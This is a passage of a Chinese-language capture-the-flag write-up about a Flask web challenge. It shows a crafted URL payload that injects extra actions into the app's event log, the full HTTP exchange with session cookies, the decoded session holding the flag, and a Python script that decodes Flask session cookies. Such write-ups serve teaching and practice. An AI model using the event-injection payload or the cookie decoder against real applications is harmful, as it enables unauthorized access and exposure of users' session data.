trigger_event('action:view;index')
```

```
def trigger_event(event):
    session['log'].append(event)
```

所以最后的payload如下

```
http://116.85.48.107:5002/d5af31f66147e657/?action:trigger_event%23;action:buy;50%23action:get_flag;a
```

GET /d5af31f66147e657/?action:trigger\_event%23;action:buy;50%23action:get\_flag;1  
HTTP/1.1  
Host: 116.85.48.107:5002  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,\*/\*;q=0.8  
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2  
Accept-Encoding: gzip, deflate  
Connection: close  
Cookie:  
session=eJxtz1rwjAYBeC\_MnLtRdoiNQuvFExBaMNmNGnGG1lx0pjEYq0fEf\_7uI0Im7174Ry  
e99yA2W9B8n4DLxRkoGA5LBq1Xn7lkw5wedfggj3asmlDyqNSep60rxXZzTiX70rTIKlyfT7ifc  
F93ETaeblZBNxj\_xU\_of-Hglwq3awtdalikOvWGB4ND2vBAJX557JCdqwddx19gJvv2V\_k  
K-TFHEQ9EUbB1nUQGz1cgrnbkKjy7UT888xER0Y-gM00WANIXokLF13-yeZ8C19rM6buawDE  
jgA9b5yx-6M7t8a5Xqe.D5y\_vASJrjD04cZelrerSA4N5Axa-yz2w  
Upgrade-Insecure-Requests: 1  
Cache-Control: max-age=0

HTTP/1.1 200 OK  
Server: gunicorn/19.7.1  
Date: Sat, 20 Apr 2019 14:35:52 GMT  
Connection: close  
Content-Type: text/html; charset=utf-8  
Content-Length: 113  
Set-Cookie:  
session=eJxtz1rwjAYBeC\_MnLtRdoiNQuvFExBaMNmNGnGG1lx0pjEYq0fEf\_7uI0Im7174Ry  
e99yA2W9B8n4DLxRkoGA5LBq1Xn7lkw5wedfggj3asmlDyqNSep60rxXZzTiX70rTIKlyfT7ifc  
F93ETaeblZBNxj\_xU\_of-Hglwq3awtdalikOvWGB4ND2vBAJX557JCdqwddx19gJvv2V\_k  
K-TFHEQ9EUbB1nUQGz1cgrnbkKjy7UT888xER0Y-gM00WANIXokLF13-yeZ8C19rM6buawDE  
jgA9b5yx-6M7t8a5Xqe.D5y\_vA\_nWdgOn\_VOSEQY\_G\_rRN\_gyFUe0; HttpOnly; Path=/  
ERROR! All transactions have been cancelled. <br /><a href="#">Go back to index.html</a><br />

[https://blog.csdn.net/weixin\\_43999372](https://blog.csdn.net/weixin_43999372)

```
C:\Users\hank\Desktop
λ python ff.py .eJxtz1rwjAYBeC_MnLtRdoiNQuvFExBaMNmNGnGG1lx0pjEYq0fEf_7uI0Im7174Ry
TFHEQ9EUbB1nUQGz1cgrnbkKjy7UT888xER0Y-gM00WANIXokLF13-yeZ8C19rM6buawDE
{u'points': 3, u'num_items': 0, u'log': ['action:trigger_event#;action:buy;50#action:get_flag;1', ['action:buy;50', 'action:get_flag;1'], ['func:consume_point;50', 'action:view;index'], 'func:show_flag;3v41_3v3nt_100p_and_FLASK_cookie', 'action:view;index']}
C:\Users\hank\Desktop
```

解码脚本如下p牛大佬写的，膜拜

```
#!/usr/bin/env python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode

def decryption(payload):
    payload, sig = payload.rsplit(b'.', 1)
    payload, timestamp = payload.rsplit(b'.', 1)

    decompress = False
    if payload.startswith(b'.'):
        payload = payload[1:]
        decompress = True

    try:
        payload = base64_decode(payload)
    except Exception as e:
        raise Exception('Could not base64 decode the payload because of '
                        'an exception')

    if decompress:
        try:
            payload = zlib.decompress(payload)
        except Exception as e:
            raise Exception('Could not zlib decompress the payload before '
                            'decoding the payload')

    return session_json_serializer.loads(payload)

if __name__ == '__main__':
    print(decryption(sys.argv[1].encode()))
```